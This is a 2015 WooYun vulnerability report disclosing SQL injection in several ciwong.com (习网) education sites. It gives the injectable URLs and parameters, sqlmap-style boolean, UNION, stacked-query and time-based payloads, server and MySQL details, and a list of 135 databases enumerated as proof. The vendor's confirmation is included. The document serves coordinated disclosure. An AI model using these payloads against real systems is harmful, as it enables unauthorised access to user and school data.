当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094442

漏洞标题：习网多个站点SQL注入漏洞

相关厂商：习网

漏洞作者： 路人甲

提交时间：2015-01-29 10:55

修复时间：2015-03-15 10:56

公开时间：2015-03-15 10:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-29： 细节已通知厂商并且等待厂商处理中
2015-01-30： 厂商已经确认，细节仅向厂商公开
2015-02-09： 细节向核心白帽子及相关领域专家公开
2015-02-19： 细节向普通白帽子公开
2015-03-01： 细节向实习白帽子公开
2015-03-15： 细节向公众公开

简要描述：

习网多个站点SQL注入漏洞

详细说明：

http://zuopin.ciwong.com/ZuoPin/GetClickTopInformation?
_=0.8454348521772772&period=1003%2C1005&grade=0&orderby=1
period参数可注入
http://zuowen.ciwong.com/yuwen/GetInfoListForHomePage?
_=0.07539170910604298&period=1001&grade=1101&top=3
period参数可注入

---
Parameter: period (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: _=0.8454348521772772&period=1003,1005) AND 8972=8972 AND (6143=6143&grade=0&orderby=1
    Type: UNION query
    Title: MySQL UNION query (NULL) - 14 columns
    Payload: _=0.8454348521772772&period=1003,1005) UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71626b6b71,0x785866644f554664474d,0x71716a7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&grade=0&orderby=1
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: _=0.8454348521772772&period=1003,1005); SELECT SLEEP(5)-- &grade=0&orderby=1
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: _=0.8454348521772772&period=1003,1005) AND SLEEP(5) AND (8094=8094&grade=0&orderby=1
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0.11


http://wiki.ciwong.com/wikipoint/history?pointCode=0755
pointCode参数可注入

---
Parameter: pointCode (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pointCode=0755' AND 2577=2577 AND 'qXEf'='qXEf
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: pointCode=0755' AND SLEEP(5) AND 'tgzr'='tgzr
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: MySQL 5.0.11


http://wiki.ciwong.com/wikipoint/details?codeid=0755&version=24
codeid和version参数可注入

---
Parameter: codeid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: codeid=0755 AND 9089=9089&version=24
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: codeid=0755; SELECT SLEEP(5)-- &version=24
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: codeid=0755 AND SLEEP(5)&version=24
Parameter: version (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: codeid=0755&version=24 AND 1392=1392
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: codeid=0755&version=24; SELECT SLEEP(5)-- 
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: codeid=0755&version=24 AND SLEEP(5)
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0.11


漏洞证明：

随便选一个注入点测试获取信息：

available databases [135]:
[*] beehive_listenread
[*] beehive_pointmall
[*] beehive_synchronwork
[*] beehive_voicespeech
[*] beehivedb
[*] bookcase
[*] ciwong_colorful
[*] ciwong_newsmanagement
[*] ciwong_qr
[*] cloudreader
[*] cmsdata
[*] cw_6v68_settlement
[*] cw_admin_elearning
[*] cw_admin_elearning_bak
[*] cw_app_store
[*] cw_audio_video_db
[*] cw_basedapplications
[*] cw_chinadream
[*] cw_cooperator
[*] cw_dw
[*] cw_edu
[*] cw_elearning
[*] cw_elearning_bak
[*] cw_englishshow
[*] cw_eshop_cart
[*] cw_eshop_common
[*] cw_eshop_news
[*] cw_eshop_order
[*] cw_eshop_product
[*] cw_eshop_user
[*] cw_gwy
[*] cw_hd
[*] cw_homepage
[*] cw_jibei
[*] cw_jibei_school
[*] cw_learnmonth
[*] cw_microvideo
[*] cw_netschool
[*] cw_packager_arithmetic
[*] cw_packager_arithmetic_en
[*] cw_packager_ebook
[*] cw_packager_experiment
[*] cw_packager_experiment_v2
[*] cw_packager_kousuan
[*] cw_packager_learning_level
[*] cw_packager_listenning_ch
[*] cw_packager_listenning_ch_v2
[*] cw_packager_listenning_en
[*] cw_packager_listenning_en_v2
[*] cw_packager_playwords
[*] cw_packager_reading_ch
[*] cw_packager_reading_en
[*] cw_packager_speaking_en
[*] cw_press
[*] cw_press_new
[*] cw_recommend
[*] cw_resx_center
[*] cw_settlement
[*] cw_trainingdb
[*] cw_workcategory
[*] cw_workcategory_arithmetic
[*] cw_workcategory_arithmetic_en
[*] cw_workcategory_common
[*] cw_workcategory_ebook
[*] cw_workcategory_experience
[*] cw_workcategory_experiment
[*] cw_workcategory_experiment_v2
[*] cw_workcategory_learning_level
[*] cw_workcategory_listenning_ch
[*] cw_workcategory_listenning_ch_v2
[*] cw_workcategory_listenning_en
[*] cw_workcategory_listenning_en_v2
[*] cw_workcategory_more
[*] cw_workcategory_playwords
[*] cw_workcategory_reading_ch
[*] cw_workcategory_reading_en
[*] cw_workcategory_settings
[*] cw_workcategory_speaking_en
[*] cw_workshop
[*] cw_workshop2
[*] cw_yishang
[*] cw_yishang1
[*] cw_yishang_settle
[*] cw_ziyuan
[*] cwapi
[*] cwfav
[*] db_ciliao
[*] db_filestatus
[*] db_kousuan100
[*] db_statistics
[*] db_txb
[*] db_txb_paipai
[*] efficientclassroom
[*] enterprisestudy
[*] game
[*] gxktv3
[*] gxktv3_resource
[*] information
[*] information_schema
[*] microrecord
[*] mysql
[*] notebook_good
[*] notebook_mistake
[*] notebook_senten
[*] notebook_word
[*] performance_schema
[*] qc_ciwong
[*] quesdata
[*] research
[*] research_ky
[*] roompermissionjingsai
[*] schoolzone
[*] searcher
[*] synchpreparation
[*] szdsy2013
[*] t_db_areaconf
[*] t_db_jibei
[*] t_db_listening
[*] t_db_markham
[*] t_db_reportlog
[*] t_db_roomtask
[*] t_db_tinyurl
[*] test
[*] videouser
[*] wiki
[*] wikicommunity
[*] wikipoint
[*] wikiques
[*] wordstockchinese
[*] wordstockenglish
[*] wordstockenglishchangebuilding
[*] wordstockenglishchangeclassifying
[*] wordstockenglishchangescene
[*] wordstocktempresources
[*] work_listen


库太多，跑表太慢，就这样。

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-01-30 10:32

厂商回复：

你好，谢谢提示，正在安排人力修复中。

最新状态：

暂无

漏洞评价：

评论